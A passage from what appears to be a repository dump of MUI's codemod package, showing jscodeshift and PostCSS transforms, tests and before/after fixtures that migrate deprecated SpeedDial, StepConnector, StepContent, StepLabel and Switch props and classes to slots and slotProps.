    "content": "fn({\n  MuiSpeedDial: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n    },\n  },\n});\n\nfn({\n  MuiSpeedDial: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n      },\n    },\n  },\n});\n\nfn({\n  MuiSpeedDial: {\n    defaultProps: {\n      TransitionComponent: ComponentTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/speed-dial-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiSpeedDial: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSpeedDial: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiSpeedDial: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/index.js",
    "content": "export { default } from './step-connector-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiStepConnector-lineHorizontal',\n    replacementSelector: '.MuiStepConnector-horizontal > .MuiStepConnector-line',\n  },\n  {\n    deprecatedClass: ' .MuiStepConnector-lineVertical',\n    replacementSelector: '.MuiStepConnector-vertical > .MuiStepConnector-line',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated StepConnector classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/step-connector-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/StepConnector)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'stepConnectorClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiStepConnector-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/step-connector-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './step-connector-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('step-connector-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/actual.css",
    "content": ".MuiStepConnector-root .MuiStepConnector-lineHorizontal {\n  color: red;\n}\n\n.MuiStepConnector-root .MuiStepConnector-lineVertical {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/actual.js",
    "content": "import { stepConnectorClasses } from '@mui/material/StepConnector';\n\n('& .MuiStepConnector-lineHorizontal');\n('& .MuiStepConnector-lineVertical');\n`& .${stepConnectorClasses.lineHorizontal}`;\n`& .${stepConnectorClasses.lineVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/expected.css",
    "content": ".MuiStepConnector-root.MuiStepConnector-horizontal > .MuiStepConnector-line {\n  color: red;\n}\n\n.MuiStepConnector-root.MuiStepConnector-vertical > .MuiStepConnector-line {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/expected.js",
    "content": "import { stepConnectorClasses } from '@mui/material/StepConnector';\n\n(\"&.MuiStepConnector-horizontal > .MuiStepConnector-line\");\n(\"&.MuiStepConnector-vertical > .MuiStepConnector-line\");\n`&.${stepConnectorClasses.horizontal} > .${stepConnectorClasses.line}`;\n`&.${stepConnectorClasses.vertical} > .${stepConnectorClasses.line}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/package.actual.js",
    "content": "import { stepConnectorClasses } from '@org/ui/material/StepConnector';\n\n('& .MuiStepConnector-lineHorizontal');\n('& .MuiStepConnector-lineVertical');\n`& .${stepConnectorClasses.lineHorizontal}`;\n`& .${stepConnectorClasses.lineVertical}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-connector-classes/test-cases/package.expected.js",
    "content": "import { stepConnectorClasses } from '@org/ui/material/StepConnector';\n\n(\"&.MuiStepConnector-horizontal > .MuiStepConnector-line\");\n(\"&.MuiStepConnector-vertical > .MuiStepConnector-line\");\n`&.${stepConnectorClasses.horizontal} > .${stepConnectorClasses.line}`;\n`&.${stepConnectorClasses.vertical} > .${stepConnectorClasses.line}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/index.js",
    "content": "export { default } from './step-content-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/step-content-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'StepContent',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'StepContent',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/step-content-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './step-content-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('step-content-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] step-content-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] step-content-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/actual.js",
    "content": "import StepContent from '@mui/material/StepContent';\nimport { StepContent as MyStepContent } from '@mui/material';\n\n<StepContent TransitionComponent={CustomTransition} TransitionProps={{ unmountOnExit: true }} />;\n<MyStepContent TransitionComponent={CustomTransition} TransitionProps={transitionVars} />;\n<StepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n  }}\n/>;\n<MyStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    ...outerSlots,\n  }}\n  slotProps={{\n    ...outerSlotProps,\n  }}\n/>;\n<StepContent TransitionComponent={ComponentTransition} slots={{ transition: SlotTransition }} />;\n<StepContent TransitionProps={{ unmountOnExit: true }} slotProps={{ transition: { id: 'test' } }} />;\n// should skip non MUI components\n<NonMuiStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/expected.js",
    "content": "import StepContent from '@mui/material/StepContent';\nimport { StepContent as MyStepContent } from '@mui/material';\n\n<StepContent slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: { unmountOnExit: true }\n}} />;\n<MyStepContent slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: transitionVars\n}} />;\n<StepContent\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n    transition: { unmountOnExit: true }\n  }} />;\n<MyStepContent\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    ...outerSlotProps,\n    transition: { unmountOnExit: true }\n  }} />;\n<StepContent slots={{ transition: SlotTransition }} />;\n<StepContent\n  slotProps={{ transition: {\n    ...{ unmountOnExit: true },\n    ...{ id: 'test' }\n  } }} />;\n// should skip non MUI components\n<NonMuiStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/package.actual.js",
    "content": "import StepContent from '@org/ui/material/StepContent';\nimport { StepContent as MyStepContent } from '@org/ui/material';\n\n<StepContent TransitionComponent={CustomTransition} TransitionProps={{ unmountOnExit: true }} />;\n<MyStepContent TransitionComponent={CustomTransition} TransitionProps={transitionVars} />;\n<StepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n  }}\n/>;\n<MyStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n  slots={{\n    ...outerSlots,\n  }}\n  slotProps={{\n    ...outerSlotProps,\n  }}\n/>;\n<StepContent TransitionComponent={ComponentTransition} slots={{ transition: SlotTransition }} />;\n<StepContent TransitionProps={{ unmountOnExit: true }} slotProps={{ transition: { id: 'test' } }} />;\n// should skip non MUI components\n<NonMuiStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/package.expected.js",
    "content": "import StepContent from '@org/ui/material/StepContent';\nimport { StepContent as MyStepContent } from '@org/ui/material';\n\n<StepContent slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: { unmountOnExit: true }\n}} />;\n<MyStepContent slots={{\n  transition: CustomTransition\n}} slotProps={{\n  transition: transitionVars\n}} />;\n<StepContent\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    root: { className: 'foo' },\n    transition: { unmountOnExit: true }\n  }} />;\n<MyStepContent\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    ...outerSlotProps,\n    transition: { unmountOnExit: true }\n  }} />;\n<StepContent slots={{ transition: SlotTransition }} />;\n<StepContent\n  slotProps={{ transition: {\n    ...{ unmountOnExit: true },\n    ...{ id: 'test' }\n  } }} />;\n// should skip non MUI components\n<NonMuiStepContent\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ unmountOnExit: true }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiStepContent: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: { unmountOnExit: true },\n    },\n  },\n});\n\nfn({\n  MuiStepContent: {\n    defaultProps: {\n      TransitionComponent: ComponentTransition,\n      slots: { transition: SlotTransition },\n    },\n  },\n});\n\nfn({\n  MuiStepContent: {\n    defaultProps: {\n      slotProps: { transition: { id: 'test' } },\n      TransitionProps: { unmountOnExit: true },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-content-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiStepContent: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: { unmountOnExit: true }\n      }\n    },\n  },\n});\n\nfn({\n  MuiStepContent: {\n    defaultProps: {\n      slots: { transition: SlotTransition }\n    },\n  },\n});\n\nfn({\n  MuiStepContent: {\n    defaultProps: {\n      slotProps: { transition: {\n        ...{ unmountOnExit: true },\n        ...{ id: 'test' }\n      } }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/index.js",
    "content": "export { default } from './step-label-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/step-label-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\nimport movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'StepLabel',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'StepLabel',\n    propName: 'StepIconComponent',\n    slotName: 'stepIcon',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'StepLabel',\n    propName: 'StepIconProps',\n    slotName: 'stepIcon',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/step-label-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './step-label-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('step-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] step-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] step-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/actual.js",
    "content": "import StepLabel from '@mui/material/StepLabel';\n\n<StepLabel componentsProps={{ label: componentsLabelProps }} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: slotLabelProps }}\n  componentsProps={{ label: componentsLabelProps }}\n/>;\n<StepLabel componentsProps={{ label: componentsLabelProps }} StepIconProps={StepIconProps} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: slotLabelProps }}\n  componentsProps={{ label: componentsLabelProps }}\n  StepIconComponent={StepIconComponent}\n  StepIconProps={StepIconProps}\n/>;\n<StepLabel\n  StepIconComponent={StepIconComponent}\n  StepIconProps={StepIconProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/expected.js",
    "content": "import StepLabel from '@mui/material/StepLabel';\n\n<StepLabel slotProps={{ label: componentsLabelProps }} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: {\n    ...componentsLabelProps,\n    ...slotLabelProps\n  } }} />;\n<StepLabel\n  slotProps={{\n    label: componentsLabelProps,\n    stepIcon: StepIconProps\n  }} />;\n<StepLabel\n  slots={{\n    label: SlotsLabel,\n    stepIcon: StepIconComponent\n  }}\n  slotProps={{\n    label: {\n      ...componentsLabelProps,\n      ...slotLabelProps\n    },\n\n    stepIcon: StepIconProps\n  }} />;\n<StepLabel\n  slots={{\n    stepIcon: StepIconComponent\n  }}\n  slotProps={{\n    stepIcon: StepIconProps\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/package.actual.js",
    "content": "import StepLabel from '@org/ui/material/StepLabel';\n\n<StepLabel componentsProps={{ label: componentsLabelProps }} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: slotLabelProps }}\n  componentsProps={{ label: componentsLabelProps }}\n/>;\n<StepLabel componentsProps={{ label: componentsLabelProps }} StepIconProps={StepIconProps} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: slotLabelProps }}\n  componentsProps={{ label: componentsLabelProps }}\n  StepIconComponent={StepIconComponent}\n  StepIconProps={StepIconProps}\n/>;\n<StepLabel\n  StepIconComponent={StepIconComponent}\n  StepIconProps={StepIconProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/package.expected.js",
    "content": "import StepLabel from '@org/ui/material/StepLabel';\n\n<StepLabel slotProps={{ label: componentsLabelProps }} />;\n<StepLabel\n  slots={{ label: SlotsLabel }}\n  slotProps={{ label: {\n    ...componentsLabelProps,\n    ...slotLabelProps\n  } }} />;\n<StepLabel\n  slotProps={{\n    label: componentsLabelProps,\n    stepIcon: StepIconProps\n  }} />;\n<StepLabel\n  slots={{\n    label: SlotsLabel,\n    stepIcon: StepIconComponent\n  }}\n  slotProps={{\n    label: {\n      ...componentsLabelProps,\n      ...slotLabelProps\n    },\n\n    stepIcon: StepIconProps\n  }} />;\n<StepLabel\n  slots={{\n    stepIcon: StepIconComponent\n  }}\n  slotProps={{\n    stepIcon: StepIconProps\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiStepLabel: {\n    defaultProps: {\n      componentsProps: { label: componentsLabelProps },\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      componentsProps: { label: componentsLabelProps },\n      slotProps: { label: slotLabelProps },\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      StepIconComponent: StepIconComponent,\n      StepIconProps: StepIconProps,\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      componentsProps: { label: componentsLabelProps },\n      slotProps: { label: slotLabelProps },\n      StepIconComponent: StepIconComponent,\n      StepIconProps: StepIconProps,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/step-label-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiStepLabel: {\n    defaultProps: {\n      slotProps: {\n        label: componentsLabelProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      slotProps: {\n        label: {\n          ...componentsLabelProps,\n          ...slotLabelProps\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      slots: {\n        stepIcon: StepIconComponent\n      },\n\n      slotProps: {\n        stepIcon: StepIconProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiStepLabel: {\n    defaultProps: {\n      slotProps: {\n        label: {\n          ...componentsLabelProps,\n          ...slotLabelProps\n        },\n\n        stepIcon: StepIconProps\n      },\n\n      slots: {\n        stepIcon: StepIconComponent\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/index.js",
    "content": "export { default } from './switch-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/switch-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Switch',\n    propName: 'inputProps',\n    slotName: 'input',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Switch',\n    propName: 'inputRef',\n    slotName: 'input',\n    slotPropName: 'ref',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/switch-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './switch-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'switch-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/actual.js",
    "content": "import Switch from '@mui/material/Switch';\nimport { Switch as MySwitch } from '@mui/material';\n\n<Switch inputProps={{ 'aria-label': 'Switch' }} />;\n<Switch inputRef={ref} />;\n<Switch inputProps={{ 'aria-label': 'Switch' }} inputRef={ref} />;\n<Switch\n  inputProps={{ 'aria-label': 'Switch' }}\n  inputRef={ref}\n  slotProps={{ root: { id: 'test' } }}\n/>;\n<MySwitch inputProps={{ 'aria-label': 'Switch' }} />;\n<MySwitch inputRef={ref} />;\n<MySwitch inputProps={{ 'aria-label': 'Switch' }} inputRef={ref} />;\n"
  },
  {
